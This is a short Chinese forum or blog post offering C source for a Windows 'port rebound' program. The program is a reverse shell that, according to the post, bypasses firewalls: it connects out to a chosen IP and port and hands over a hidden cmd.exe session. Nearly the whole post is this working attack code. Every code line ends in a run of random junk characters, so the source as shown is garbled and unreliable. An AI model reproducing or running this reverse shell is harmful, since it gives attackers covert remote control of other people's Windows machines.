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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 P9>C!0 -x  
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/* ============================== UpIf t=@P  
Rebound port in Windows NT u}:O[DG  
By wind,2006/7 XBY"7}  
===============================*/ {30<Vc=  
#include CYn}wkz  
#include c|.:J]  
O#EBR<CuK  
#pragma comment(lib,"wsock32.lib") ZGbZu  
<+$S{Z.  
void OutputShell(); `UI)H*GA8  
SOCKET sClient; >WDpBn:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; gK<-*v  
h4qR\LX  
void main(int argc,char **argv) 7 %|>7  
{ 19rUvgC{M  
WSADATA stWsaData; +>3c+h,%.  
int nRet; rx;U/)~#<  
SOCKADDR_IN stSaiClient,stSaiServer; W" !amMQ  
nB]Q^~jX  
if(argc != 3) X,N@`  
{  \1MDCP9:  
printf("Useage:\n\rRebound DestIP DestPort\n"); d+;wDu   
return; {+[gf:Ev  
} YHA[PF   
{Psj#.qP1  
WSAStartup(MAKEWORD(2,2),&stWsaData); +|H'I j$  
~ZNhU;%YW  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q|1bF!#(1  
&7W6IM   
stSaiClient.sin_family = AF_INET; EsWszpRqb  
stSaiClient.sin_port = htons(0); G 6, 8Xwk  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); MYPcH\K$h  
\l2 s^7G_  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oTfbx+i/G  
{  KC(Ug4  
printf("Bind Socket Failed!\n"); ^~aSrREo  
return; KCT8Q!\  
} G;m"ao"2  
<^\r9Qxl  
stSaiServer.sin_family = AF_INET; \nHlI=!P  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :A'!u r=\  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <S}qcjG  
&wuV}S 7  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o{he) r6)_  
{ (J4utw Z  
printf("Connect Error!"); %:,=J  
return; d<Os TA  
} !LJ.L?9qw  
OutputShell(); J50 ~B3bj`  
} +)@>60y  
9y5 \4&v  
void OutputShell() ]x G8vy  
{ <e^/hR4O  
char szBuff[1024]; DPwSg\*)  
SECURITY_ATTRIBUTES stSecurityAttributes; KR}0(,Y  
OSVERSIONINFO stOsversionInfo; 'O`3FI  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $Y`aS^IW  
STARTUPINFO stStartupInfo; U. aa iX7  
char *szShell; *X\c $ =*  
PROCESS_INFORMATION stProcessInformation; Tpukz_F  
unsigned long lBytesRead; /wTf&_"mTL  
Wj:QC<5 v  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a  98  
' XF`&3 i  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); v'!Nt k  
stSecurityAttributes.lpSecurityDescriptor = 0; 3+-(;>>\  
stSecurityAttributes.bInheritHandle = TRUE; h9I )<_}R  
X*"K g  
nIjQLx  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); g5Dx9d{  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {K:Utdu($q  
$dP)8_Z2  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xu =B  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _@N)]!\MgP  
stStartupInfo.wShowWindow = SW_HIDE; j''Iai_  
stStartupInfo.hStdInput = hReadPipe; ? iX=2-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /;rN/ot2o  
4l''/$P  
GetVersionEx(&stOsversionInfo);  YBD{l  
AD\<}/3U  
switch(stOsversionInfo.dwPlatformId) Q:gn>/  
{ hU 7fZl%yl  
case 1: mx9/K+:  
szShell = "command.com"; JP4Moq~r   
break; pQ 6#L  
default: 9i}D6te  
szShell = "cmd.exe"; (U_Q7hja?  
break; FIjET1{  
} ql~{`qoD~  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); z#VpS=  
:BX{ *P  
send(sClient,szMsg,77,0); )$B+ 3f  
while(1) !B lk=L+p  
{ ^\&g^T%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;a&:r7]=  
if(lBytesRead) D:E~yh)$-  
{ (AG  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); r^t{Ii ~  
send(sClient,szBuff,lBytesRead,0); DME?kh>7  
} X-1Vp_(,TP  
else qb4;l\SfT  
{ c@-K  
lBytesRead=recv(sClient,szBuff,1024,0); ;p 5v3<PC  
if(lBytesRead<=0) break; DBBBpb~~  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K$cIVsfr  
} 1=Zw=ufqV  
} \Byk`} 9  
?=!XhU .  
return; .w_`d'}  
}
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